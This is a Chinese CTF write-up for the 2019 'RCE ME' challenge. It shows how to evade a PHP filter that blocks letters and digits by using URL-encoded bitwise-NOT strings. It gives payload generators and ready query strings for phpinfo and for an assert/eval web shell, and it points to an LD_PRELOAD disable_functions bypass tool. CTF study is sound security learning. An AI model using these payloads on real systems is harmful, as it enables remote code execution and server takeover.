极客大挑战 2019 RCE ME

image-20210929213110592

GET传参

strlen:长度不超过40

preg_match:匹配英文字母和数字,die NO

满足条件就当做php执行并且不报错

[极客大挑战 2019]RCE ME - 云千 - 博客园 (cnblogs.com)

参考:

1
2
可以用异或或者取反绕过
异或绕过是指使用各种特殊字符的异或构造出字母和数字。取反绕过是对语句取反。

生成查询PHP info 的payload代码

1
2
3
<?php
echo urlencode(~'phpinfo');
?>

即,对查询语句取反,然后编码。在编码前加上~进行取反,括号没有被过滤,不用取反。

构造完的语句进行查询:

1
?code=(~%8F%97%8F%96%91%99%90)();

image-20210929213713432

看一些信息:

image-20210929213849813

禁用的函数相当的多

先传木马连接

1
2
3
4
5
6
7
8
9
10
<?php 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[mochu7]))';
$d=urlencode(~$c);
echo $d;
?>
1
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6); 

image-20210929214111148

连上之后发现权限过低

image-20210929214319688

要读取flag,需要先执行readflag,但是因为禁用了很多函数,没有办法执行命令,这时候需要绕过disable_functions.方法好像很多,有的用蚁剑的插件,有的劫持共享so,也有一些工具
1.这里用工具
地址https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
由于在/var/tmp目录 有上传权限,可以上传bypass_disablefun_x64.so和bypass_disablefunc.php(重命名为shell.php),

2.蚁剑插件直接绕过

image-20210929214454384

image-20210929214557378